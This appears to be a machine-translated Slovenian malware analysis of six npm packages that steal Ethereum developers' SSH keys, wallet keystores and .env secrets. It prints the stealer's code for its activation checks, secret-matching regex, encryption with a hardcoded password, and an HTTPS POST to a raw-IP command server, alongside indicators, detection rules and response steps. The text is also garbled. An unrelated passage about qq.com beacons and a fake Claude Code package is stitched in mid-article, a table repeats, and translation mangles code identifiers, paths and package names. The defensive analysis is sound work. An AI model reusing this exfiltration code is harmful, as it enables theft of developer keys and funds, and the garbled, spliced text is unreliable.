TL; DR
6. maja 2026 je en sam založnik npm, namikazesarada010206je poslal šest zlonamernih paketov, ki so ciljali na razvijalski ekosistem Ethereum, Solidity in DeFi.
Paketi, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utilsin web3-utils-core, so uporabljali verjetna imena, zasnovana tako, da so videti kot pomožne knjižnice za priljubljena orodja Web3.
Vseh šest paketov je vsebovalo isto telemetry.js datoteka. Datoteka je bila bajtno identična v celotnem gruču, z algoritmom SHA-256:
Zlonamerna programska oprema se ne zažene ob namestitvi. Ni preinstall or postinstall kavelj. Namesto tega se aktivira, ko je paket uvožen prek require().
Ta podrobnost je pomembna.
Vsadek počaka, da razvijalec dejansko uporabi paket. Nato preveri, ali je delovna postaja videti kot pravo razvojno okolje Ethereum/Solidity. Išče ključe Alchemy ali Infura, zasebne ključe, mnemonike, ključe deployerja ali lokalni imenik Foundry.
Če se gostitelj ujema, kradljiva oseba zbere zasebne ključe SSH, shrambe ključev denarnic Foundry / Geth / Brownie, .env* datoteke in občutljive spremenljivke okolja. Paket šifrira z AES-256-GCM z uporabo trdo kodiranega gesla in ga izvleče do surove končne točke IPv4 C2 z onemogočenim preverjanjem TLS.
Xygenijev sistem za zgodnje opozarjanje pred zlonamerno programsko opremo (MEW) je potrdil, da je vseh šest paketov zlonamernih. Paket poročil o odstranitvi registra npm je v teku.
Grozd: Šest paketov, en založnik
Račun založnika namikazesarada010206 je bil povezan z nepreverjenim Gmailovim naslovom namikazesarada010206@gmail.com.
Kampanja se je pojavila kot enodnevni publikacijski izbruh 6. maja 2026. Vseh šest paketov je bilo različic kot 1.0.0, ni imel nobenih odvisnosti od izvajalnega okolja in je dostavil le tri datoteke:
package.json index.js telemetry.js Prav tako so deklarirali isto izvorno skladišče:
https://github.com/harunosakura030303-maker/evmchain-config Prve tri pakete so skenerji MEW zaznali ob prvi objavi. Preostali trije so bili vsiljeno označeni po pregledu profila npm založnika s strani analitikov. Ko so bili isti bajtno identični telemetry.js je bilo potrjeno v celotnem grozdu, so bile zaradi doslednosti zaprte kot zlonamerne.
| paket | različica | Objavljeno v npm | Vstopnica za MEW | Verdict |
|---|---|---|---|---|
| viem-core | 1.0.0 | 2026-05-06 01:38:44Z | #51049 | Zlonamerne |
| viem-utils-core | 1.0.0 | 2026-05-06 | #51050 | Zlonamerne |
| pripomočki-hardhat-core-utils | 1.0.0 | 2026-05-06 | #51051 | Zlonamerne |
| evm-utilities | 1.0.0 | 2026-05-06 | #51069 | Zlonamerno, zaradi doslednosti |
| livarski pripomočki | 1.0.0 | 2026-05-06 | #51071 | Zlonamerno, zaradi doslednosti |
| web3-utils-core | 1.0.0 | 2026-05-06 | #51070 | Zlonamerno, zaradi doslednosti |
Strategija poimenovanja je preprosta, a učinkovita.
Ti paketi ne poosebljajo natančnih imen, ki so del zgornjega toka. Namesto tega uporabljajo verjetne pripone »utility«, kot je -core, -utilsin -utils-coreZaradi tega so videti kot spremljevalne knjižnice, ki bi jih razvijalec pričakoval v bližini orodij Web3.
| Zlonamerni paket | Legitimna tarča |
|---|---|
| viem-core | viem, priljubljen odjemalec TypeScript za Ethereum |
| viem-utils-core | Viem |
| pripomočki-hardhat-core-utils | hardhat, prevladujoče razvojno okolje Solidity |
| evm-utilities | Imenski prostor generičnih orodij EVM |
| livarski pripomočki | livarna, orodjarna Solidity |
| web3-utils-core | web3-utils, pomočniki Web3.js |
To je vzorec »dodatnega paketa«: ne »Jaz sem pravi paket«, ampak »Videti sem kot razumen pomočnik okoli pravega paketa«.
Za razvijalce DeFi, ki se hitro premikajo, je to dovolj, da ustvari tveganje.
Kaj se zgodi, ko je paket uvožen
Veriga napadov je majhna, premišljena in osredotočena na okolja za razvoj kriptovalut.
Ni namestitvenega kaveljčka. Namesto tega vsak paket vsebuje index.js ki izvozi funkcionalnost zagozditvenih oznak in nato naloži modul za zlonamerno telemetrijo.
require('./telemetry').init(); To pomeni, da se zlonamerna programska oprema aktivira ob prvem uvozu.
To je operativno uporabno za napadalca. Številni skenerji in peskovniki se osredotočajo na vedenje med namestitvijo. Ta paket čaka, da ga dejansko uporabi razvijalec, skript za gradnjo, testni paket ali pot izvajalnega okolja.
Aktivacijska vrata: Sproži samo na pravih delovnih postajah razvijalcev Web3
Najpomembnejši del vsadka so aktivacijska vrata.
Zlonamerna programska oprema preverja spremenljivke okolja, ki jih pogosto najdemo na razvijalskih računalnikih Ethereum / Solidity:
const indicators = [ process.env.ALCHEMY_API_KEY, process.env.INFURA_KEY, process.env.PRIVATE_KEY, process.env.MNEMONIC, process.env.DEPLOYER_KEY, ].filter(Boolean); Preveri tudi, ali je Foundry nameščen:
fs.existsSync(path.join(os.homedir(), '.foundry')) Če noben od pogojev ni izpolnjen, funkcija vrne vrednost in ne naredi ničesar.
Zaradi tega je paket v generičnih analitičnih okoljih tišji. Peskovnik brez ključev Foundry, Alchemy, Infura, zasebnih ključev ali mnemonik se lahko zdi neškodljiv.
Na ustreznem gostitelju zlonamerna programska oprema čaka 60 do 90 sekund, preden se zbere:
setTimeout(() => { try { _collect(); } catch {} }, 60000 + Math.random() * 30000).unref(); Zamuda zmanjšuje očitno korelacijo med uvozom in izselitvijo. .unref() Klic omogoča tudi normalen zaključek gostiteljskega procesa, če je bil paket uvožen v kratkotrajnem skriptu.
To ni hrupno vedenje »smash and grab«. Gre za ciljno usmerjenega kradljivca, ki je zasnovan tako, da se izogne izvajanju, razen če je razvojno okolje vredno kraje.
Kaj zbira tat
Ko prehod skozi aktivacijska vrata preide, zlonamerna programska oprema zbira podatke iz virov, ki so najpomembnejši pri razvoju Web3: zasebnih ključev, shramb ključev denarnic, poverilnic za uvajanje, skrivnosti v oblaku, žetonov npm in konfiguracije lokalnega projekta.
| LED vir svetlobe | Kaj se zbira |
|---|---|
| process.env | Vsaka spremenljivka, ki se ujema z /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Datoteke, ki vsebujejo PRIVATE KEY ali BEGIN OPENSSH, vključno s celotno vsebino datoteke |
| ~/.foundry/keystore/* | Datoteke shrambe ključev denarnice Foundry |
| ~/.ethereum/shramba ključev/* | Datoteke shrambe ključev denarnice Geth |
| ~/.brownie/računi/* | Datoteke shrambe ključev denarnice Brownie |
| ${cwd}/.env | Celotna vsebina datoteke |
| ${cwd}/.env.local | Celotna vsebina datoteke |
| ${cwd}/.env.production | Celotna vsebina datoteke |
| ${cwd}/.env.razvoj | Celotna vsebina datoteke |
| os.imegostitelja() | Metapodatki gostitelja |
| kripto.randomUUID() | Identifikator žrtve/seje |
| Datum.zdaj() | Časovni žig zbiranja |
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com Žetoni ATTA so:
ATTA_ID 00400014144 ATTA_TOKEN 6478159937 Nismo mogli potrditi, ali je bila telemetrija lastna analitika operaterja ali ločeno monetiziran kanal. Žetoni ATTA so v obeh vzorcih, ki smo jih pregledali, enaki.
Skupina B: heibai
claude.hk Lažno predstavljanje OAuth + ugrabitev ANTHROPIC_BASE_URL
Vzorec iz 1. aprila je bolj surov, zgodnejši del kampanje.
heibai:2.1.88-claude.hk-4 je objavil založnik wuguoqiangvip28, račun, ustvarjen 7. junija 2025. Paket se je izrecno sam prilagodil različicam, ki niso legitimne 2.1.88 Antropno sproščanje.
Ne obremenjuje se s CA-cert MITM. Namesto tega uporabniku laže o končni točki OAuth.
Zlonamerni dodatki poleg razkrite izvorne kode Claude Code vključujejo:
| LED vir svetlobe | Kaj se zbira |
|---|---|
| process.env | Vsaka spremenljivka, ki se ujema z /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Datoteke, ki vsebujejo PRIVATE KEY ali BEGIN OPENSSH, vključno s celotno vsebino datoteke |
| ~/.foundry/keystore/* | Datoteke shrambe ključev denarnice Foundry |
| ~/.ethereum/shramba ključev/* | Datoteke shrambe ključev denarnice Geth |
| ~/.brownie/računi/* | Datoteke shrambe ključev denarnice Brownie |
| ${cwd}/.env | Celotna vsebina datoteke |
| ${cwd}/.env.local | Celotna vsebina datoteke |
| ${cwd}/.env.production | Celotna vsebina datoteke |
| ${cwd}/.env.razvoj | Celotna vsebina datoteke |
| os.imegostitelja() | Metapodatki gostitelja |
| kripto.randomUUID() | Identifikator žrtve/seje |
| Datum.zdaj() | Časovni žig zbiranja |
Seznam ciljev je zelo specifičen. Ne gre za splošno krajo brskalnika ali splošno strganje poverilnic. Namenjen je razvijalcem, ki gradijo, testirajo, uvajajo ali upravljajo aplikacije Ethereum.
Vključitev shramb ključev Foundry, Geth in Brownie je še posebej pomembna. Te datoteke lahko predstavljajo neposreden dostop do denarnic ali identitet uvajanja. Če jih napadalec lahko poveže z gesli, mnemoniki ali skrivnostmi okolja, lahko premika sredstva, se izdaja za uvajalce ali ogroža delovanje pametnih pogodb.
Šifriranje pred izkrcanjem
Zlonamerna programska oprema šifrira zbrane podatke, preden jih pošlje.
const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv); Trdno kodirano geslo je:
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d Končni koristni tovor je zavit v JSON:
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"} Šifriranje samo po sebi ne naredi zlonamerne programske opreme naprednejše. Vendar pa otežuje pregled omrežja. Branilec, ki opazuje izhod, bi videl koristni tovor JSON, ne pa ukradenih ključev, datotek denarnice ali .env vsebino brez trdo kodiranega gesla in logike dešifriranja.
Izločitev v surovi IPv4 C2
Pot izselitve je trdo kodirana:
const req = https.request({ hostname: '76.13.37.80', port: 8443, path: '/api/v1/telemetry', method: 'POST', headers: { 'Content-Type': 'application/json', ... }, rejectUnauthorized: false, timeout: 8000, }, () => {}); Zlonamerna programska oprema pošilja podatke na:
https://76.13.37.80:8443/api/v1/telemetry Izstopata dve podrobnosti.
Prvič, C2 je surov IPv4 naslov in ne domena. To odpravlja potrebo po registraciji domene in preprečuje nekatera zaznavanja na podlagi domene.
Drugič, preverjanje TLS je onemogočeno z:
rejectUnauthorized: false To omogoča zlonamerni programski opremi, da sprejme katero koli potrdilo, vključno s samopodpisanimi potrdili. Z drugimi besedami, napadalec dobi šifriran prenos podatkov, ne da bi potreboval veljavno javno potrdilo.
Ni logike ponovnega poskusa in ni rezervnega gostitelja. Napake se tiho pogoltnejo. To ohranja paket tih, če je C2 brez povezave ali nedosegljiv.
Zakaj je ta kampanja pomembna
Večina zlonamernih npm paketov, namenjenih razvijalcem, lovi široke poverilnice: žetone npm, ključe AWS, žetone GitHub ali .npmrc datotek.
Ta kampanja zožuje cilj.
Išče znake, da naprava pripada razvijalcu Ethereuma ali Solidityja. Nato potegne natančno tista sredstva, ki so pomembna v tem okolju: shrambe ključev denarnice, zasebne ključe, mnemonike, ključe uvajalca, .env datoteke in SSH ključe.
Zaradi tega je kampanja za ekipe Web3 bolj nevarna kot generični kradljivec npm-ov.
Uspešna okužba lahko razkrije:
- Denarnice za uvajanje
- Skrbniški ključi pametnih pogodb
- Ključi ponudnika RPC
- Poverilnice za uvajanje v oblak
- žetoni za objavljanje npm
- Dostop do razvijalske ali gradbene infrastrukture prek SSH
- Skrivnosti projekta shranjene v
.envdatoteke - Shrambe ključev denarnice za Foundry, Geth ali Brownie
Imena paketov prav tako kažejo na jasen socialni inženiring. Ciljajo na ekosistem razvijalcev Web3 prek znanih imen orodij: viem, hardhat, foundry, evmin web3.
Igralcu ni treba ogroziti resničnih projektov. Potrebuje le razvijalca, ki namesti nekaj, kar je videti kot razumen spremljevalni paket.
Kazalniki kompromitacije in odkrivanja
| Paketi in založnik | |
|---|---|
| Polje | Vrednost |
| založnik npm | namikazesarada010206 |
| E-poštni naslov založnika | namikazesarada010206@gmail.com |
| E-pošta preverjena | Ne |
| SCM preverjeno | Ne |
| Ocena ugleda | 1.0 |
| Paketi | viem-core, viem-utils-core, hardhat-core-utils, evm-utils, funry-utils, web3-utils-core |
| različice | Vse 1.0.0 |
| Izvorno skladišče | https://github.com/harunosakura030303-maker/evmchain-config |
| Potrjeno zlonamerno | Vseh šest paketov |
| mreža | |
|---|---|
| tip | Vrednost |
| Končna točka C2 | https://76.13.37.80:8443/api/v1/telemetry |
| IP C2 | 76.13.37.80 |
| Pristanišče C2 | 8443/tcp |
| Obnašanje TLS-a | zavrnitevNepooblaščeno: napačno |
| Shema koristnega tovora | {"v":2,"iv": ,"d": ,"t": } |
| Datoteke in zgoščene vrednosti | |
|---|---|
| tip | Vrednost |
| telemetry.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| Postavitev paketa | package.json, index.js, telemetry.js |
| Število datotek | 3 |
| Približna skupna velikost | 3.4 KB |
Aktivacijski signali
Zlonamerna programska oprema preverja te spremenljivke okolja:
ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY Preverja tudi:
~/.foundry/ Ciljne poti gostiteljev
~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development Zbirka regularnih izrazov
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i Opombe o zaznavanju
To kampanjo zajema več pravil, ne da bi bila potrebna popolna vedenjska analiza.
Najprej preglejte datoteke zaklepanja za šest imen zlonamernih paketov:
viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core Vsaka tekma v package-lock.json, yarn.lock, pnpm-lock.yamlali node_modules Zgodovino je treba obravnavati kot resen dogodek.
Drugič, spremljajte procese Node.js, ki berejo poti shrambe ključev denarnice:
~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/ To je redko legitimno vedenje za paket, uvožen kot pomožna odvisnost. Še posebej sumljivo je, če mu sledi odhodna omrežna aktivnost.
Tretjič, blokirajte ali opozorite na povezave HTTPS:
76.13.37.80:8443 Še posebej, če je pot zahteve:
/api/v1/telemetry Četrtič, poiščite npm pakete, ki združujejo te lastnosti:
- Nov ali slabo ugleden založnik
- Nepreverjen Gmail račun
- Ime paketa, ki je sosednji Web3
- Ni smiselne zgodovine repozitorija
- Postavitev drobnega paketa
index.jski naloži telemetrijo ali pomožno datoteko- Brez odvisnosti od izvajalnega okolja
- Zbirka občutljivih okoljskih spremenljivk
- Dostop do shrambe ključev denarnice
Ta vzorec je bolj uporaben kot en sam IOC, ker lahko naslednji paket spremeni IP-naslov, vendar ohrani isto logiko ciljanja.
Kontrolni seznam za odziv na kompromis
Če je razvijalec uporabil enega od šestih paketov in se je njegovo okolje ujemalo z aktivacijskimi vrati, delovno postajo obravnavajte kot ogroženo.
To vključuje stroje z nameščenim Foundryjem, ključi Alchemy ali Infura v okolju, zasebnimi ključi, mnemoniki ali ključi za uvajanje.
Priporočen odgovor:
- Odklopite gostitelja iz omrežja.
- Ohrani
node_modules, datoteke zaklepanja, zgodovina lupine in ustrezni dnevniki za forenziko. - Zamenjajte vsak par ključev SSH pod
~/.ssh/. - Zamenjajte ključe denarnice za vsako shrambo ključev pod
~/.foundry,~/.ethereumin~/.brownie. - Prenesite sredstva v nove denarnice.
- Zavrtite vsako skrivnost, shranjeno v
.env*datoteke v repozitorijih, v katerih je delal razvijalec. - Zamenjajte skrivnosti okolja, ki se ujemajo z regularnim izrazom zbirke, vključno s ključi AWS, žetoni npm, žetoni za uvajanje, ključi API, zasebnimi ključi, semeni in mnemoniki.
- Spremljajte aktivnosti v oblaku, NPM-ju, GitHubu, ponudniku RPC in verigi blokov od prve namestitve paketa.
- Pred ponovno uporabo ponovno ustvarite sliko delovne postaje.
Kaj bi si morali branilci odnesti s seboj
Ta kampanja prikazuje, kako se tipografsko odvzemanje pravic uporabnikov v NPM razvija okoli ekosistemov visokovrednih razvijalcev.
Igralec ni potreboval vztrajnosti. Niso potrebovali zakrivanja. Niti izvajanja med namestitvijo niso potrebovali.
Namesto tega so se zanašali na tri stvari:
- Verjetna imena paketov Web3
- Aktivacija samo na pravih strojih za razvoj kriptovalut
- Neposredna kraja datotek in skrivnosti, ki so razvijalcem Ethereuma najpomembnejše
Zaradi tega je kampanjo pri širokem pregledu enostavno spregledati in je nevarna, ko pristane v pravem okolju.
Za ekipe Web3 je lekcija jasna: imena odvisnosti obravnavajte kot del svojega modela groženj. Paket, ki je videti kot neškodljiv pomočnik, lahko še vedno postane najkrajša pot do vdora v denarnico.
Poročano v register npm. To objavo bomo posodobili, ko bodo račun založnika in paketi odstranjeni.




